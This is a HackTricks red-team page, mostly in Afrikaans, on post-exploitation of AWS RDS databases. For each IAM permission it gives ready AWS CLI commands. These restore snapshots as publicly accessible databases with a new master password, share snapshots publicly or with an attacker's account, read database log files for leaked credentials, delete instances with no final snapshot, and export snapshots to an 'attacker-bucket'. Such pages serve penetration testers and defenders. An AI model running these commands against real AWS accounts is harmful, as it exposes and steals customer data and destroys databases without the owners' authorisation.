AWS - RDS Post Exploitation

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

RDS

Vir meer inligting, kyk:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

As die aanvaller genoeg regte het, kan hy 'n DB publiek toeganklik maak deur 'n snapshot van die DB te skep, en dan 'n publiek toeganklike DB van die snapshot.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

'n Aanvaller met hierdie toestemmings kan 'n snapshot van 'n DB skep en dit publiek beskikbaar maak. Dan kan hy eenvoudig 'n DB uit daardie snapshot in sy eie rekening skep.

As die aanvaller nie die rds:CreateDBSnapshot het nie, kan hy steeds ander geskepte snapshots publiek maak.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

'n Aanvaller met die rds:DownloadDBLogFilePortion toestemming kan gedeeltes van 'n RDS-instantie se loglêers aflaai. As sensitiewe data of toegangskredens per ongeluk gelog word, kan die aanvaller hierdie inligting moontlik gebruik om hul bevoegdhede te verhoog of ongeoorloofde aksies uit te voer.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Potensiële Impak: Toegang tot sensitiewe inligting of ongeoorloofde aksies met behulp van gelekte akrediteer.

rds:DeleteDBInstance

'n Aanvaller met hierdie toestemmings kan DoS bestaande RDS instansies.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Potensiële impak: Verwydering van bestaande RDS-instances, en potensiële verlies van data.

rds:StartExportTask

TODO: Toets

'n Aanvaller met hierdie toestemming kan 'n RDS-instantie-snapshot na 'n S3-bucket uitvoer. As die aanvaller beheer oor die bestemmings-S3-bucket het, kan hulle potensieel toegang tot sensitiewe data binne die uitgevoerde snapshot verkry.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potensiële impak: Toegang tot sensitiewe data in die uitgevoerde snapshot.

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Last updated